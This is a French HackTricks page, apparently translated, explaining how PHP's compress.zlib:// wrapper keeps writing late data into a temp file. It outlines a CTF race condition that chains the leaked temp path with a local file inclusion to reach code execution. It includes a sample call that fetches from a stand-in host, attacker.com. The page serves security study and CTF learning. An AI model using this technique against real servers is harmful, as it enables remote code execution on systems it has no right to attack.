3.7 KiB
compress.zlib://
et PHP_STREAM_PREFER_STDIO
Un fichier ouvert en utilisant le protocole compress.zlib://
avec le drapeau PHP_STREAM_PREFER_STDIO
peut continuer à écrire des données qui arrivent à la connexion plus tard dans le même fichier.
Cela signifie qu'un appel tel que:
file_get_contents("compress.zlib://http://attacker.com/file")
Vous enverrez une requête demandant http://attacker.com/file, puis le serveur pourrait répondre à la requête avec une réponse HTTP valide, maintenir la connexion ouverte et envoyer des données supplémentaires ultérieurement qui seront également écrites dans le fichier.
Vous pouvez voir cette information dans cette partie du code php-src dans main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Course à la condition de RCE
Ce CTF a été résolu en utilisant la technique précédente.
L'attaquant va faire en sorte que le serveur victime ouvre une connexion pour lire un fichier depuis le serveur de l'attaquant en utilisant le protocole compress.zlib
.
Tant que cette connexion existe, l'attaquant va exfiltrer le chemin d'accès au fichier temporaire créé (celui-ci est divulgué par le serveur).
Tant que la connexion est toujours ouverte, l'attaquant va exploiter une LFI en chargeant le fichier temporaire qu'il contrôle.
Cependant, il y a une vérification dans le serveur web qui empêche le chargement de fichiers contenant <?
. Par conséquent, l'attaquant va exploiter une course conditionnelle. Dans la connexion qui est toujours ouverte, l'attaquant va envoyer la charge utile PHP APRÈS que le serveur web ait vérifié si le fichier contient les caractères interdits mais AVANT de charger son contenu.
Pour plus d'informations, consultez la description de la course conditionnelle et du CTF sur https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFT
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et hacktricks-cloud.